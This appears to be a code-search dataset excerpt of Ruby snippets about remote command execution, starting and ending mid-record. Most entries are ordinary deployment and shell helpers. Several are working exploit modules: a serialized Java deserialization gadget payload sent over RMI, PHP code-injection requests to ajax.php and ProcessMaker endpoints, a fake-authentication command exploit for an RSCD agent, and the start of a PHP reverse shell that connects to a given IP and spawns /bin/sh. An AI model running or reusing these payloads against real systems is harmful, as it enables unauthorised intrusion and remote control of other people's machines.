x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x52\\x75\\x6E\\x74\\x69\\x6D\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x73\\x72\\x00\\x3A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x49\\x6E\\x76\\x6F\\x6B\\x65\\x72\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x87\\xE8\\xFF\\x6B\\x7B\\x7C\\xCE\\x38\\x02\\x00\\x03\\x5B\\x00\\x05\\x69\\x41\\x72\\x67\\x73\\x74\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x4C\\x00\\x0B\\x69\\x4D\\x65\\x74\\x68\\x6F\\x64\\x4E\\x61\\x6D\\x65\\x74\\x00\\x12\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x53\\x74\\x72\\x69\\x6E\\x67\\x3B\\x5B\\x00\\x0B\\x69\\x50\\x61\\x72\\x61\\x6D\\x54\\x79\\x70\\x65\\x73\\x74\\x00\\x12\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x43\\x6C\\x61\\x73\\x73\\x3B\\x70\\x78\\x70\\x75\\x72\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x90\\xCE\\x58\\x9F\\x10\\x73\\x29\\x6C\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x02\\x74\\x00\\x0A\\x67\\x65\\x74\\x52\\x75\\x6E\\x74\\x69\\x6D\\x65\\x75\\x72\\x00\\x12\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x43\\x6C\\x61\\x73\\x73\\x3B\\xAB\\x16\\xD7\\xAE\\xCB\\xCD\\x5A\\x99\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x00\\x74\\x00\\x09\\x67\\x65\\x74\\x4D\\x65\\x74\\x68\\x6F\\x64\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x53\\x74\\x72\\x69\\x6E\\x67\\xA0\\xF0\\xA4\\x38\\x7A\\x3B\\xB3\\x42\\x02\\x00\\x00\\x70\\x78\\x70\\x76\\x71\\x00\\x7E\\x00\\x24\\x73\\x71\\x00\\x7E\\x00\\x1C\\x75\\x71\\x00\\x7E\\x00\\x21\\x00\\x00\\x00\\x02\\x70\\x75\\x71\\x00\\x7E\\x00\\x21\\x00\\x00\\x00\\x00\\x74\\x00\\x06\\x69\\x6E\\x76\\x6F\\x6B\\x65\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x76\\x71\\x00\\x7E\\x00\\x21\\x73\\x71\\x00\\x7E\\x00\\x1C\\x75\\x72\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x53\\x74\\x72\\x69\\x6E\\x67\\x3B\\xAD\\xD2\\x56\\xE7\\xE9\\x1D\\x7B\\x47\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x01\\x74\\x00\"\r\n data2 += cmd.length.chr\r\n data2 += cmd\r\n data2 += \"\\x74\\x00\\x04\\x65\\x78\\x65\\x63\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x01\\x71\\x00\\x7E\\x00\\x29\\x73\\x71\\x00\\x7E\\x00\\x17\\x73\\x72\\x00\\x11\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x12\\xE2\\xA0\\xA4\\xF7\\x81\\x87\\x38\\x02\\x00\\x01\\x49\\x00\\x05\\x76\\x61\\x6C\\x75\\x65\\x70\\x78\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4E\\x75\\x6D\\x62\\x65\\x72\\x86\\xAC\\x95\\x1D\\x0B\\x94\\xE0\\x8B\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x01\\x73\\x71\\x00\\x7E\\x00\\x09\\x3F\\x40\\x00\\x00\\x00\\x00\\x00\\x10\\x77\\x08\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x78\\x78\\x76\\x72\\x00\\x12\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x76\\x65\\x72\\x72\\x69\\x64\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x71\\x00\\x7E\\x00\\x3F\\x78\\x71\\x00\\x7E\\x00\\x3F\"\r\n\r\n begin\r\n connect\r\n sock.put(data1)\r\n\r\n # Wait for a successful response\r\n data = recv_protocol_ack # rescue nil\r\n unless data\r\n fail_with(Failure::Unknown, \"This system has not responded with the correct RMI header\")\r\n end\r\n\r\n # Send the RMI payload\r\n sock.put(data2)\r\n\r\n # Disconnect\r\n disconnect\r\n\r\n rescue ::Rex::ConnectionError\r\n fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the host\")\r\n end\r\n end", "title": "" }, { "docid": "ad18d80f53a1f563c5bb83244062e2ad", "score": "0.5411345", "text": "def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end", "title": "" }, { "docid": "ad18d80f53a1f563c5bb83244062e2ad", "score": "0.5411345", "text": "def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end", "title": "" }, { "docid": "e6622d5c9e425ce5361f3ea798d784a6", "score": "0.5376828", "text": "def deploy(node, version)\n cmd = \"ssh #{node} ./deploy-proxy.sh #{version}\"\n puts \"==> #{cmd}\"\n if !system(cmd)\n puts \"ERROR running cmd: #{cmd}\"\n exit(1)\n end\nend", "title": "" }, { "docid": "e6622d5c9e425ce5361f3ea798d784a6", "score": "0.5376828", "text": "def deploy(node, version)\n cmd = \"ssh #{node} ./deploy-proxy.sh #{version}\"\n puts \"==> #{cmd}\"\n if !system(cmd)\n puts \"ERROR running cmd: #{cmd}\"\n exit(1)\n end\nend", "title": "" }, { "docid": "4c3584568905996b5e5d963876b51f01", "score": "0.5375811", "text": "def remote_exec(command)\n transport.connection(state_file.read) do |conn|\n conn.execute(command)\n end\n end", "title": "" }, { "docid": "6b230232a8b958e0c0096b81f2c91f8e", "score": "0.53439045", "text": "def exec_remote(agent, host, json_request)\n return redis_channel.execute(json_request, agent_id(agent), host)\n end", "title": "" }, { "docid": "6b230232a8b958e0c0096b81f2c91f8e", "score": "0.53439045", "text": "def exec_remote(agent, host, json_request)\n return redis_channel.execute(json_request, agent_id(agent), host)\n end", "title": "" }, { "docid": "f69deeaa94435418920a6e86a679fb59", "score": "0.53315014", "text": "def exec_kermit(script)\n dir = @@scripts\n executable = dir+'/'+script\n #logger.debug \"Executing Kermit script %s\" % script\n response = exec_command( 'cd %s && %s' % [ dir, executable ] )\n raise NoResponseException unless response\n return response\n end", "title": "" }, { "docid": "66d0eebb67cb840d6db200858e556475", "score": "0.5327872", "text": "def exec_test(script)\n # test directory echoes plain TXT files that fake response from the device\n dir = File.join(@@scripts,'test')\n executable = File.join(dir,script)\n\n # if the script does not exist (truncate parameters for checking), read the input from a file\n # (name constructed from script name + parameters)\n unless File.exists?(executable.split(' ')[0]) then\n response_fn = '/resp/'+script.gsub(/.sh.*/,'').gsub(/\\ /,'_').downcase\n ##logger.debug \"File %s does not exist, reading input from file %s\" % [script, response_fn]\n return exec_command( 'cat %s' % dir+response_fn )\n else\n ##logger.debug \"Executing shell script %s\" % script\n return exec_command( 'cd %s && %s' % [ dir, executable] )\n end\n end", "title": "" }, { "docid": "396b6fb15ef5755a3f0c3efc8caf8a8c", "score": "0.5313256", "text": "def exec_r\n out = ''\n Dir.mkdir(@working_dir) unless File.exist?(@working_dir)\n Dir.chdir(@working_dir) do\n IO.popen(\"r --vanilla --slave --no-readline --encoding=UTF-8\", mode='r+') do |io|\n io.write script_preamble\n io.write @script\n io.close_write # let the process know you've given it all the data\n out = io.read\n end\n end\n out.gsub!(/</, '&lt;')\n out.gsub!(/>/, '&gt;')\n return out\n end", "title": "" }, { "docid": "3eaf55a47a848b61420a6b83a23dd9cc", "score": "0.53081745", "text": "def fetch_remote_version\n puts \"Checking remote #{ declassify } version...\"\n\n `gem list #{ declassify } --remote`[/([\\d\\.]+)/]\n end", "title": "" }, { "docid": "aca6f32be5b8cf6c2f1935ae3742df4c", "score": "0.5307225", "text": "def exec_remote_command(host, command)\n Open3.popen3(\n \"ssh -n #{host} #{command} ;\"+\n \" echo ExitCode: $? 1>&2\")\n end", "title": "" }, { "docid": "9403c9623d96fd0290f57f055aaf6952", "score": "0.5304616", "text": "def run_script(options = {})\n path = options[:path] || nil\n script = options[:script] || nil\n params = options[:params] || {}\n\n if path.nil?\n script.nil? and (raise ArgumentError, \"must provide script OR path\")\n else\n script and (raise ArgumentError, \"must not provide script AND path\")\n params[:_script_path] = path\n end\n\n params = params.keys.zip(params.values).map {|k,v| \"#{k}=#{v}\"}\n url = URI.parse(\"#{@root}/gom/script/v8?#{params.join('&')}\")\n\n response = Net::HTTP.start(url.host, url.port) do |http|\n if script\n request = Net::HTTP::Post.new(url.to_s)\n request.set_content_type \"text/javascript\"\n http.request(request, script)\n else\n request = Net::HTTP::Get.new(url.to_s)\n http.request(request)\n end\n end\n\n if response.kind_of?(Net::HTTPSuccess)\n return response\n else\n raise HttpError.new(\n response, \"while executing server-side-script:\\n#{response.body}\"\n )\n end\n end", "title": "" }, { "docid": "7bc7600527377b007d22dca7a7a22411", "score": "0.5303344", "text": "def run_cmd(str)\n if @ssh\n# puts \"REMOTE Running: #{ str }\"\n lines = @ssh.exec!(str) || ''\n return lines.split(\"\\n\").map { |l| l.strip }\n else\n p = IO.popen(str)\n res = p.readlines.map { |l| l.strip }\n p.close\n return res\n end\n end", "title": "" }, { "docid": "d6f6d91a7c3fb62bd97609d5690a826f", "score": "0.5302081", "text": "def execute_command(cmd, opts = { :php_function => 'system' } )\r\n code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+\"&\"))\r\n junk = rand_text_alphanumeric(rand(10)+6)\r\n print_status(\"#{peer} - Sending payload (#{code.length} bytes)\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax.php'),\r\n 'cookie' => @cookie,\r\n 'vars_post' => {\r\n 'modname' => \"#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//\"\r\n }\r\n })\r\n return res\r\n end", "title": "" }, { "docid": "ad3c901a5a17a2a384cc39787cf7c891", "score": "0.52849007", "text": "def get_script(script)\n begin\n data = send_command('GETSCRIPT', sieve_name(script))\n rescue SieveCommandError => e\n raise e, \"Cannot get script: #{e}\"\n end\n return data.join.chomp\n end", "title": "" }, { "docid": "81b213662b736fb0c7361ef52fa73272", "score": "0.52682805", "text": "def exec\n unless @cgi_path.exist?\n raise CGIError.not_exist(@cgi_path)\n end\n\n env = @cgi_info.create_env\n options = create_options\n args = @cgi_info.create_arguments\n\n Timeout.timeout(@timeout) do\n @pid = Kernel.spawn(env, @cgi_path.to_s, *args, options)\n Process.waitpid(@pid)\n if @cgi_stdout.exist?\n return analyze_response(Location[@cgi_stdout].read)\n else\n raise CGIError.response_not_found\n end\n end\n rescue Timeout::Error\n if @pid\n begin\n Process.kill(15, @pid)\n rescue\n ensure\n CGIError.timeouted\n end\n end\n rescue Errno::EACCES => e\n CGIError.cannot_execute_cgi(@cgi_path)\n end", "title": "" }, { "docid": "0f84533f9c92d7a0d9e88881a95dfd2d", "score": "0.5264341", "text": "def send_cmd(url)\n begin\n client= HTTPClient.new\n res=client.get_content(url)\n rescue HTTPClient::BadResponseError\n res=\"problem retrieving status: #{res.inspect}\"\n end\n res\n end", "title": "" }, { "docid": "57b5f8ee35515469782e212cf993e8cd", "score": "0.5260717", "text": "def execute(host, command)\n std=exec_remote_command(host, command)\n [std[1].read, std[2].read]\n end", "title": "" }, { "docid": "149bf02c351fcd6d05728d84ea94e455", "score": "0.5258902", "text": "def execute()\n uri = self.uri()\n http = Net::HTTP.new( uri.host, uri.port )\n if use_ssl\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n response = http.request( request )\n response\n end", "title": "" }, { "docid": "464ec9d4729000e2a6e77e43122ebc55", "score": "0.5251175", "text": "def fetch_or_create_install_script(env)\n @script_tmp_path =\n env[:tmp_path].join(\"#{Time.now.to_i}-#{install_script_name}\")\n\n @logger.info(\"Generating install script at: #{@script_tmp_path}\")\n\n url = @install_script\n\n if File.file?(url) || url !~ /^[a-z0-9]+:.*$/i\n @logger.info('Assuming URL is a file.')\n file_path = File.expand_path(url)\n file_path = Vagrant::Util::Platform.cygwin_windows_path(file_path)\n url = \"file:#{file_path}\"\n end\n\n # Download the install.sh or create install.bat file to a temporary\n # path. We store the temporary path as an instance variable so that\n # the `#recover` method can access it.\n begin\n if windows_guest?\n # Not sure how to do this in Windows yet...\n else\n downloader = Vagrant::Util::Downloader.new(\n url,\n @script_tmp_path,\n {}\n )\n downloader.download!\n end\n rescue Vagrant::Errors::DownloaderInterrupted\n # The downloader was interrupted, so just return, because that\n # means we were interrupted as well.\n env[:ui].info(I18n.t('vagrant-puppet_install.download.interrupted'))\n return\n end\n end", "title": "" }, { "docid": "1c886a756d6624fc5b799c0954fd69f0", "score": "0.52504236", "text": "def ruby_script(host, command_lines, options = {})\n host_commander.ruby_script(host, command_lines, ssh: ssh, winrm: winrm, connector: options[:connector])\n end", "title": "" }, { "docid": "cc9ba175cb52164c801e743407158f02", "score": "0.52482647", "text": "def echo\n get url(\"echo\")\n end", "title": "" }, { "docid": "961f209cff248ea961afad79da7c0dc5", "score": "0.5232592", "text": "def cliq_run command\n\n # Build shell command to run\n cmd = \"/usr/bin/sshpass -p #{@config['password']} /usr/bin/ssh -p 16022 Admin@#{@config['server']} '#{command} output=xml'\"\n\n # Open a process and run our command TODO: handle err etc as we blindly assume success right here\n Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|\n Crack::XML.parse(stdout.read)['gauche']['response']\n end\n\n end", "title": "" }, { "docid": "da1cfebfde6bb05d4a25dbf223a5f70f", "score": "0.5224798", "text": "def exec_command( cmd )\n #logger.debug 'Executing system command \"%s\"' % cmd\n response = ''\n IO::popen( cmd ) do |f|\n until f.eof?\n # copy buffer\n response << f.gets\n end\n end\n ##logger.debug \"Response: %s\" % response\n raise NoInputException if response.empty?\n\n return response\n end", "title": "" }, { "docid": "23cb142e3b09350ccea54fb4e63f6c9d", "score": "0.5223527", "text": "def exec!(command = nil)\n case conn_method\n when 'ssh'\n ssh(command)\n when 'tcp'\n tcp(command)\n else\n raise UnknownConnectionType, \"Unknown Connection Method. Valid options are 'ssh://' and 'tcp://'\"\n end\n end", "title": "" }, { "docid": "e6543438b7ee448168fed48c4e12e8a5", "score": "0.5219169", "text": "def get_request\n print \"command > \"\n gets.chomp\nend", "title": "" }, { "docid": "51afe5528f5e8581b5064af6c7089bf1", "score": "0.52079666", "text": "def script\n CodeLoader.execute_file @rest.first, nil, @print\n end", "title": "" }, { "docid": "ef11d8cc12dfc263766365fbf4460cd6", "score": "0.5204206", "text": "def exec\n @proxied_connection.exec\n end", "title": "" }, { "docid": "26c2a320a1a978cbb269a923b831ff3b", "score": "0.5199585", "text": "def fetch_versions\n require 'pp'\n\n response = fetch_page 'http://ftp.ruby-lang.org/pub/ruby/'\n end", "title": "" }, { "docid": "d5d11ee711baa212de256fceb4227617", "score": "0.5194159", "text": "def dynamic_get_command\n if ::File.which('curl')\n # curl version of RVM::FW install command\n \"curl #{node['rvm_fw']['url']}/install\"\n else\n # wget version of RVM::FW install command\n \"wget -qO- #{node['rvm_fw']['url']}/install\"\n end\n end", "title": "" }, { "docid": "9652afed3a1dc8da1ebb3f686b764063", "score": "0.5193308", "text": "def download_pkg(options,remote_file)\n local_file = File.basename(remote_file)\n if not File.exist?(local_file)\n message = \"Information:\\tFetching \"+remote_file+\" to \"+local_file\n command = \"wget #{remote_file} -O #{local_file}\"\n execute_command(options,message,command)\n end\n return\nend", "title": "" }, { "docid": "19dcecde33f4f04ba98f8fa8fdd02b33", "score": "0.5191879", "text": "def ev cmd\n SERVER.request cmd\nend", "title": "" }, { "docid": "ed162eccc1c721b310ca38e62e39310f", "score": "0.5162717", "text": "def version\n exec(COMMAND[:version])\n end", "title": "" }, { "docid": "8731a865c6ca425c5db96621ba4e052b", "score": "0.51520216", "text": "def execute_command(cmd, opts = { :php_function => 'system' } )\r\n # random vulnerable path # confirmed in versions 2.0.23 to 2.5.1\r\n vuln_url = [\r\n '/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',\r\n '/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',\r\n '/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'\r\n ].sample\r\n\r\n # shuffle POST parameters\r\n vars_post = Hash[{\r\n 'action' => opts[:php_function],\r\n 'params' => cmd\r\n }.to_a.shuffle]\r\n\r\n # send payload\r\n vprint_status(\"#{peer} - Attempting to execute: #{cmd}\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, vuln_url),\r\n 'cookie' => @cookie,\r\n 'vars_post' => vars_post\r\n })\r\n res\r\n end", "title": "" }, { "docid": "914b6221297baf052ea24b012dd46cfd", "score": "0.5151298", "text": "def exec(sender_id, script, environment = {})\n @cache_path ||= File.join(Clustersense::config_dir, \"..\", \"exec\")\n FileUtils.mkdir_p(@cache_path)\n datetimestring = Time.now.strftime(\"%Y%m%d-%H%M-%L\")\n\n environment.keys.each do |e|\n ENV[e] = environment[e]\n end\n\n tmp_script_path = File.join(@cache_path, datetimestring)\n\n File.open(tmp_script_path, \"w\") { |f| f.write(script) }\n FileUtils.chmod(0755, tmp_script_path)\n onebigout = \"\"\n ::IO.popen([tmp_script_path, :err=>[:child, :out]], \"r+\") do |io|\n while(1) do\n begin\n output = io.readpartial(100000)\n if send_this = unshift_stdin\n io.puts(send_this)\n end\n rescue => e\n output = \"gotepipe\"\n break\n rescue EOFError => e\n output = \"done.\"\n break\n end\n ping_someone(sender_id, :ping, output) if output\n end\n end\n if $?.success?\n success_status = \"Success!!\"\n else\n success_status = \"Failed!!\"\n end\n ping_someone(sender_id, :ping, success_status)\n return $?.success?\n end", "title": "" }, { "docid": "16f796c44c77b494c14eb28c8a43beaa", "score": "0.51494664", "text": "def hosting_version_on_server(server)\n version = ''\n ssh(server) do |s|\n (ec, sout, serr) = s.attempt(\"cat /var/acquia/HOSTING_VERSION\")\n version = sout.chomp\n end\n version\n end", "title": "" }, { "docid": "2c0868e5e1799c095eb2c5361bf44d01", "score": "0.5142588", "text": "def version\n execute_string(\"-version\")\n end", "title": "" }, { "docid": "07ef8b12521a0311c39c63b8e0766036", "score": "0.51392025", "text": "def exec\r\n print_status(\"#{peer} - Executing #{@fname}...\")\r\n res = send_request_raw({\r\n 'uri' => normalize_uri(@upload_path, @fname),\r\n 'cookie' => 'access=3'\r\n })\r\n if res and res.code == 404\r\n fail_with(Failure::NotFound, \"#{peer} - Not found: #{@fname}\")\r\n end\r\n end", "title": "" }, { "docid": "964532fec494a35a535255b39c2e1bae", "score": "0.51256", "text": "def exec_rest(command)\n body = { 'command' => command.split(' '),\n 'wait-for-websocket' => false,\n 'record-output' => false,\n 'interactive' => false }\n\n @client.post(\"#{CONTAINERS}/#{name}/exec\", body)\n end", "title": "" }, { "docid": "035990f40a88bd70603a7de6d46074ff", "score": "0.5118762", "text": "def send_nexec_request(command, show_output)\r\n # Connect and auth\r\n vprint_status('Connecting to RSCD agent and sending fake auth.')\r\n connect_to_rscd\r\n send_fake_nexec_auth\r\n\r\n # Generate and send the payload\r\n vprint_status('Sending command to execute.')\r\n sock.put(generate_cmd_pkt(command))\r\n\r\n # Finish the nexec request\r\n sock.put(\"\\x00\\x00\\x00\\x22\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x61\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x31\\x32\\x77\\x38\\x30\\x3b\\x34\\x31\\x3b\\x33\\x39\\x30\" \\\r\n \"\\x35\\x38\\x3b\\x32\\x34\\x38\\x35\\x31\")\r\n sock.put(\"\\x00\\x00\\x00\\x12\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x61\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x30\\x32\\x65\\x7f\")\r\n sock.put(\"\\x00\\x00\\x00\\x12\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x61\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x30\\x32\\x69\\x03\")\r\n sock.put(\"\\x00\\x00\\x00\\x12\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x61\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x30\\x32\\x74\\x31\")\r\n sock.put(\"\\x00\\x00\\x00\\x1c\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x34\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x30\\x63\\x77\\x38\\x30\\x3b\\x34\\x31\\x3b\\x38\\x30\\x3b\" \\\r\n \"\\x34\\x31\")\r\n sock.put(\"\\x00\\x00\\x00\\x11\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x39\\x30\\x30\\x30\" \\\r\n \"\\x30\\x30\\x30\\x30\\x31\\x7a\")\r\n\r\n # Get the response from the RSCD agent and disconnect\r\n vprint_status('Reading response from RSCD agent.')\r\n res = read_cmd_output\r\n if show_output == true\r\n if res && res[0] == 1\r\n print_good(\"Output\\n\" + res[1])\r\n else\r\n print_warning('Command execution failed, the command may not exist.')\r\n vprint_warning(\"Output\\n\" + res[1])\r\n end\r\n end\r\n disconnect\r\n end", "title": "" }, { "docid": "810f2d3520ef2dd7331961199ea13458", "score": "0.5104655", "text": "def request_executable\n request_executable_itk\n end", "title": "" }, { "docid": "24b225fdf4bcada7865bcc777ea01c5f", "score": "0.51018244", "text": "def script(path)\n full_path = \"/scripts/#{path}\"\n\n begin\n @server.request_http(:get, full_path,\n :expected_status_code => 200)\n rescue Transport::UnexpectedStatusCodeError => error\n if /No script '[^']+' found./ =~ error.message\n nil\n else\n raise error\n end\n end\n end", "title": "" }, { "docid": "4ba277305c5f1fc76a1a6dcf7f192c76", "score": "0.5101722", "text": "def request_executable_itk ## Noda's version\n debug(\"try to connect #{@manager_addr} to start RequestExecutable \" +\n \"process.\")\n res = get_clnt_sock(@cluster_tree.parent[:address],\n REQ_EXECUTABLE_PORT,\n DEFAULT_SEND_TIMEOUT,\n DEFAULT_RECV_TIMEOUT,\n @myaddr){ \n |sock|\n #-----\n debug(\"send JoinPractis message\")\n if (retval = psend(sock, create_message(MSG_TYPE_RQE,\n @cluster_tree.mynode[:id],\n @cluster_tree.parent[:id]))) < 0\n error(\"fail to send JoinPractis message. errno: #{retval}\")\n return :error_failToSendJoinPractis ;\n end\n #-----\n # Receive AckReqExecutable\n debug(\"receive AckReqExecutable\")\n unless (data = precv(sock)).kind_of?(Hash)\n error(\"fail to receive AckReqExecutable. errno: #{data}.\")\n return :error_failToReceiveAckReqExecutable ;\n end\n #-----\n data[:executables].each do |executable|\n # write the file into executable path.\n FileUtils.mkdir_p(@executable_path) unless File.exist?(@executable_path)\n filename = ([@executable_path, executable[:executable_name]].\n join(File::SEPARATOR));\n File.delete(filename) if File.exist?(filename)\n debug(\"create executable file: #{filename}\")\n File.open(filename, \"wb\"){|f|\n f.write([executable[:executable_binary]].pack(CONVERT_FORMAT))\n }\n if File.extname(filename) == \".zip\"\n if zip_uncarchive(filename, File::dirname(filename)) < 0\n error(\"fail to unzip the executable file: #{filename}\")\n next ;\n end\n end\n end\n true ;\n }\n if(res.nil?) then\n error(\"fail to get client socket.\")\n return :error_cantGetClientSocket ;\n else\n return res ;\n end\n end", "title": "" }, { "docid": "155bc1eccf5da8bf55666d35b325d9e1", "score": "0.51004446", "text": "def remote_path\n v = version || latest_version\n \"https://get.videolan.org/vlc/#{v}/win64/vlc-#{v}-win64.exe\"\n end", "title": "" }, { "docid": "08fedfcbd44a66bdd9c74e6098d58e3c", "score": "0.5095091", "text": "def cmd_exec(cmd)\n\tclient.response_timeout=120\n\tcmd = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n\to = \"\"\n\twhile(d = cmd.channel.read)\n\t\to << d\n\tend\n\tcmd.channel.close\n\tcmd.close\n\treturn o\nend", "title": "" }, { "docid": "4c3df35e4bb86b608984e078fd9a2eb2", "score": "0.5091203", "text": "def check_ruby_version\n host, user, deploy_to, current_path = fetch_host_infos\n version = \"\"\n\n begin\n Net::SSH.start(host, user, keys: [SETTINGS['ssh_private_key']]) do |ssh|\n version = ssh.exec!(Command.new.cd(current_path).clean.raw!('~/.rbenv/bin/rbenv version'))\n end\n rescue\n logger.debug \"the commit oid cannot be parsed\"\n raise \"cannot fetch remote host #{self.application_url}\"\n end\n\n if version.empty? || version.include?(\"is not installed\")\n logger.debug \"the ruby version is not installed on remote server\"\n raise \"The ruby version is not installed on remote server\"\n end\n end", "title": "" }, { "docid": "0cfb179e9ed0122c4f185d62e769d913", "score": "0.5076468", "text": "def exec\n @exec || nil\n end", "title": "" }, { "docid": "f90aeb5c5d6d0f04515d941696e0aa1a", "score": "0.5068045", "text": "def command_exec(libPath,respXml,command)\n #ref_id = CommonLib.get_unique_refid\n #resp_xml = \"#{@log_path}/response_#{ref_id}.xml\"\n args = ['-jar', libPath,\n '-host', self.host,\n '-user', self.user,\n '-password', self.password,\n '-xmloutputfile', respXml,\n '-c', command]\n # Puppet.debug(\"Executing compellent command: \" + args.join(\" \"))\n ret = `#{get_java_path} #{args.join(' ')} 2>&1`\n Puppet.debug(\"Output: #{ret}\")\n # Need to retry if there is any connection reset message\n if ret.match(/Connection reset|Couldn't connect to/i)\n Puppet.debug('Connection reset observed. sleep for 10 seconds and retry')\n sleep(10)\n `#{get_java_path} #{args.join(' ')} 2>&1`\n else\n ret\n end\n end", "title": "" }, { "docid": "c56df397a4712018173d29b6bd49396a", "score": "0.50670576", "text": "def remote_sh(cmd)\n @busy = true\n\n puts cmd.inspect\n begin\n res = `ssh -i #{KEY} #{@client} \"#{cmd}\"` # todo, allow for failure\n rescue\n return 1\n end\n @busy = false\n res # need to return result\n end", "title": "" }, { "docid": "19c690ee82f67a894a9347c0d4826eea", "score": "0.5063384", "text": "def execute(host, log_proc)\n script_text = File.read @script\n\n src = \"'mkdir -p #{@remote_dir}; cat > #{@remote_script};\" \\\n \" if [ \\\"x$?\\\" != \\\"x0\\\" ]; then exit -1; fi;\" \\\n \" chmod +x #{@remote_script}; #{@remote_script}'\"\n\n cmd = SSHCommand.run(src, host, log_proc, script_text)\n\n case cmd.code\n when 0\n # Splits the output by lines, strips each line and gets only\n # lines that have something\n value = cmd.stdout.split(\"\\n\").collect {|v|\n v2 = v.strip\n if v2 == \"\"\n nil\n else\n v2\n end\n }.compact.join(\",\")\n else\n nil\n end\n end", "title": "" }, { "docid": "9f2738caefc1408c3838c7d7dec61b81", "score": "0.50608414", "text": "def php_reverse_shell(ip, port)\n fname=randz(9) + '.php'\n php_shell = '<?php \n// php-reverse-shell - A Reverse Shell implementation in PHP\n// Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0); $VERSION = \"1.0\";'\n php_shell += \"$ip = '#{ip}';\"\n php_shell += \"$port = #{port.to_i};\"\n php_shell += '\n$chunk_size = 1400; $write_a = null; $error_a = null; $shell = \"uname -a; w; id; /bin/sh -i\"; $daemon = 0; $debug = 0; if (function_exists(\"pcntl_fork\")) { $pid = pcntl_fork(); if ($pid == -1) { printit(\"ERROR: Can\\'t fork\"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\"Error: Can\\'t setsid()\"); exit(1); } $daemon = 1; } else { printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\"); }; chdir(\"/\"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\"$errstr ($errno)\"); exit(1); }; $descriptorspec = array( 